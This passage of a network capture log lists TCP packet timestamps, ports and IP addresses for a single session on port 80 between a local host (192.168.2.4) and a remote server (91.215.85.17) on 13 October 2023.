Oct 13, 2023 16:05:55.943205118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943221092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943236113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943243027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.943253040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943265915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.943269014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943285942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943300009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943305016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.943315983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943325043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.943332911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943348885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943371058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943372965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.943402052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.943449974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943465948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943481922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943492889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.943499088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943516016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943526983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.943557024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943562031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.943654060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943670988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943696976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.943753004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.943803072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.944086075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944102049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944118977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944135904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944148064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.944164991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944180965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944185972 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.944196939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944221973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.944232941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944278002 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.944314003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944385052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944427967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.944427967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944469929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944550037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944550991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.944602966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944647074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.944664955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944772005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944813967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.944844961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944876909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944930077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.944958925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.945007086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.945048094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.945050955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.945111990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.945153952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.945185900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.945216894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.945256948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.945288897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.945369959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.945411921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.945444107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.945527077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.945568085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.945579052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.945686102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.945728064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.945760965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.945863962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.945879936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.945904016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.945991993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946016073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.946038008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.946064949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946095943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946137905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.946185112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946279049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946317911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946320057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.946391106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946441889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.946461916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946516991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946533918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946577072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.946599007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946643114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.946676016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946795940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946840048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.946849108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946919918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946954966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.946962118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.947007895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.947053909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.947099924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.947118044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.947161913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.947191000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.947287083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.947303057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.947329044 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.947412014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.947453022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.947460890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.947571993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.947613001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.947645903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.947700024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.947738886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.947773933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.947822094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.947860003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.947894096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.947952986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.947989941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.948002100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.948079109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.948116064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.948143005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.948224068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.948260069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.948282957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.948350906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.948385000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.948410988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.948465109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.948509932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.948518991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.948565006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.948606014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.948610067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.948709965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.948750019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.948796988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.948843956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.948885918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.948931932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.948977947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949016094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.949021101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949095011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949134111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.949160099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949191093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949237108 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.949269056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949326992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949368954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.949388027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949470043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949510098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.949523926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949554920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949598074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.949604988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949686050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949724913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.949771881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949815035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949853897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.949877977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949948072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949981928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.949990034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.950018883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.950067043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.950136900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.950203896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.950247049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.950305939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.950355053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.950407028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.950439930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.950480938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.950521946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.950546026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.950577974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.950618982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.950653076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.950731993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.950776100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.950870037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.950916052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.950963020 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.950968027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951037884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951071978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951114893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951128960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.951159954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951164007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.951226950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951271057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.951297998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951348066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951364994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951390982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.951455116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951498032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.951498985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951569080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951616049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.951633930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951688051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951730967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.951795101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951850891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951867104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.951894045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.951961994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.952006102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.952039957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.952121973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.952171087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.952218056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.952265978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.952281952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.952315092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.952409029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.952439070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.952461958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.952474117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.952536106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.952583075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.952617884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.952719927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.952763081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.952817917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.952836037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.952888966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.952924967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.952970982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953016996 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.953037024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953073978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953121901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.953149080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953212023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953257084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953296900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.953316927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953350067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.953371048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953428984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.953454971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953505993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953553915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.953588963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953653097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953702927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.953735113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953797102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953851938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953860044 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.953936100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.953982115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.954016924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.954077005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.954134941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.954158068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.954174042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.954232931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.954235077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.954271078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.954317093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.954332113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.954399109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.954458952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.954461098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.954511881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.954560041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.954595089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.954696894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.954747915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.954761028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.954874992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.954921007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.954956055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.955015898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.955069065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.955105066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.955121994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.955166101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.955202103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.955257893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.955317020 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.955343962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.955409050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.955452919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.955457926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.955513954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.955514908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.955548048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.955569029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.955600023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.955698967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.955746889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.955797911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.955847025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.955847025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.955898046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.955931902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.955981970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.956012011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.956057072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.956079960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.956129074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.956141949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.956191063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.956209898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.956276894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.956295013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.956310987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.956345081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.956376076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.956387043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.956440926 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.956453085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.956506968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.956532955 CEST	80	49762	91.215.85.17	192.168.2.4
